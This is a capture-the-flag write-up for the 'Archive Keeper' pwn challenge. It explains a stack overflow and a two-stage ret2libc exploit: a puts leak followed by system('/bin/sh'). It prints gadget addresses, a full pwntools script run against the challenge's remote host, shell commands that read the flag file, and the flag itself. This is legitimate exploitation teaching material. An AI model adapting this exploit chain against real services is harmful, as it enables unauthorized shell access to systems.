Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnHard

Archive Keeper

CTF writeup for Archive Keeper from Next Hunt

Archive Keeper

  • Challenge: Archive Keeper (pwn)

  • Author: M0H1.T3L

  • Flag format: nexus{}

  • Connection: nc ctf.nexus-security.club 2711

Summary:

  • This binary is a small non-PIE x86_64 ELF with an unbounded read from stdin into a fixed stack buffer. The exploit is a typical ret2libc: leak a libc address (puts), compute libc base, then call system("/bin/sh"). I used the provided libc.so.6 and ld-linux-x86-64.so.2 for local testing.

Files:

  • chall — target binary

  • libc.so.6 — provided libc (local testing)

  • ld-linux-x86-64.so.2 — provided loader (local testing)

  • exploit.py — the full exploit script (included below)

Recon / Binary Info

  • ELF, 64-bit, not stripped, no PIE, NX enabled, no stack canary, partial RELRO.

  • checksec output: RELRO: Partial, Canary: none, NX: enabled, PIE: No

  • Important functions: setup, vuln, main. vuln prints a welcome message and does a read into a stack buffer.

Important functions & behavior

  • setup calls setvbuf on stdin/stdout/stderr (mode 2, _IONBF), which disables buffering and makes interactive exploitation more predictable.

  • vuln does:

  - prints "Welcome to the Archive. Enter your data:" (string at .rodata)

  - reads up to 0xc8 (200) bytes from stdin into a stack buffer (sub $0x40; lea -0x40(%rbp))

  - then returns, so we can overflow the stack and overwrite the return address.

Finding the vulnerability

  • The read is unbounded to the stack buffer (200 limit > 64 buffer): The buffer is 0x40 (64) bytes on the stack but read allows 0xc8 bytes, making overflow possible.

  • We measured the offset from the buffer to the saved return address as 0x48 (0x40 buffer + 0x8 saved RBP).

ROP gadgets & strategy

  • No PIE, so program symbols are at fixed addresses.

  • Useful ROP gadget: pop rdi; ret at 0x40114a (used to set the first arg for puts and system).

  • Also a ret gadget used for alignment: 0x401016.

  • Plan:

  1. Overwrite return address to call puts(puts@GOT), which prints the resolved address of puts in libc.

  2. After printing, return to main to restart the program and accept a second payload.

  3. Use leaked puts to compute libc base and find system and "/bin/sh".

  4. Second stage: ROP chain calling system("/bin/sh"). For stack alignment and x86_64 ABI, we add ret before pop rdi.

Offsets and addresses

  • Buffer size: 0x40

  • Offset to return address: 0x48

  • POP_RDI gadget: 0x40114a

  • RET alignment gadget: 0x401016

  • The code uses GOT/PLT addresses available via ELF (no PIE): elf.got['puts'], elf.plt['puts'].

Exploit development

  • I used pwntools to craft the exploit and tested locally with the provided loader & libc:
./ld-linux-x86-64.so.2 --library-path . ./chall
  • Use two-stage exploit:

  - Stage 1: Leak puts address. Payload = 'A'*OFFSET + pop rdi; ret + puts@GOT + puts@plt + main.

  - Parse output until prompt, extract the leaked pointer.

  - Compute libc_base = leaked_puts - libc.sym['puts'].

  - Stage 2: ROP chain to system("/bin/sh") and get a shell.

Exploit script

  • Full exploit file: exploit.py

  • Basic usage: python3 exploit.py for local runs and python3 exploit.py REMOTE=1 for remote.

  • To run a specific command (instead of an interactive shell), supply CMD e.g. python3 exploit.py REMOTE=1 CMD='cat /challenge/flag.txt'.

Key implementation details

  • I used io.recvuntil(b'data:') to synchronize with the program prompt.

  • The first leak prints some raw bytes and a newline; the script collects the chunk until the welcome prompt returns, extracts the pointer bytes from the earliest non-prompt line, and converts them to a 64-bit value with u64.

  • We return to main after leak to get a clean state to send second-stage payload.

Local testing & debugging notes

  • For local testing we used the provided loader and libc to emulate the remote environment:
python3 exploit.py # or python3 exploit.py CMD='id'
  • If you need to reproduce the local behavior exactly, run the binary with the supplied ld:
./ld-linux-x86-64.so.2 --library-path . ./chall

Remote exploitation

  • To run against the challenge's remote host:
python3 exploit.py REMOTE=1 CMD='cat /challenge/flag.txt'
  • This returned the flag:
nexus{B0ok_F0uND_L1BC_R3t}

Security notes / observations

  • Partial RELRO but no canaries, no PIE -> ROP & GOT overwrite is straightforward.

  • NX enabled prevented code injection; we used ROP instead.

  • setup disabled buffering to make I/O deterministic for exploitation.

Exploit code (exploit.py)

python

from pwn import *

  

context.binary = elf = ELF('./chall', checksec=False)

libc = ELF('./libc.so.6', checksec=False)

ld_path = './ld-linux-x86-64.so.2'

context.log_level = 'info'

  

OFFSET = 0x48

POP_RDI = 0x40114a

RET = 0x401016

  
  

def start():

    if args.REMOTE:

        return remote('ctf.nexus-security.club', 2711)

    return process([ld_path, '--library-path', '.', elf.path])

  
  

def leak_puts(io):

    io.recvuntil(b'data:')

    payload = flat(

        b'A' * OFFSET,

        POP_RDI,

        elf.got['puts'],

        elf.plt['puts'],

        elf.symbols['main'],

    )

    io.sendline(payload)

  

    # The program prints the leak followed by a newline and the welcome prompt.

    chunk = io.recvuntil(b'data:')

    lines = [line for line in chunk.split(b'\n') if line]

    # Choose the leaked pointer line (skip the welcome prompt line)

    leak_line = next((line for line in lines if b'Welcome' not in line), b'')

    leak_val = u64(leak_line.ljust(8, b'\x00'))

    log.info(f'leaked puts: {hex(leak_val)}')

    return leak_val

  
  

def exploit():

    io = start()

    leak_val = leak_puts(io)

    libc.address = leak_val - libc.sym['puts']

    log.info(f'libc base: {hex(libc.address)}')

    binsh = next(libc.search(b'/bin/sh\x00'))

    system = libc.sym['system']

  

    payload = flat(

        b'A' * OFFSET,

        RET,

        POP_RDI, binsh,

        system,

    )

    io.sendline(payload)

  

    if args.CMD:

        io.sendline(args.CMD.encode())

        io.sendline(b'exit')

        output = io.recvall(timeout=2)

        print(output.decode(errors='ignore'))

        return

  

    io.interactive()

  
  

if __name__ == '__main__':

    exploit()

Final flag

  • nexus{B0ok_F0uND_L1BC_R3t}

FAQ / Troubleshooting

  • Missing pwntools? Install with pip3 install pwntools

  • If ./ld-linux-x86-64.so.2 isn't executable: chmod +x ld-linux-x86-64.so.2.

  • When testing locally, be sure you run the binary with the given loader and library:

./ld-linux-x86-64.so.2 --library-path . ./chall
  • The provided libc.so.6 matters — the remote host uses a different libc (but leak allows us to compute base at runtime). The same exploit works both locally and remotely.

Closing notes

  • This challenge is a standard stack-based overflow with GOT/PLT leak + ret2libc chain exercise. Create a robust leak parser and keep things aligned for x86_64 ABI when calling system.

If you'd like, I can also include a small requirements.txt and a run.sh with example commands to automate local/remote testing.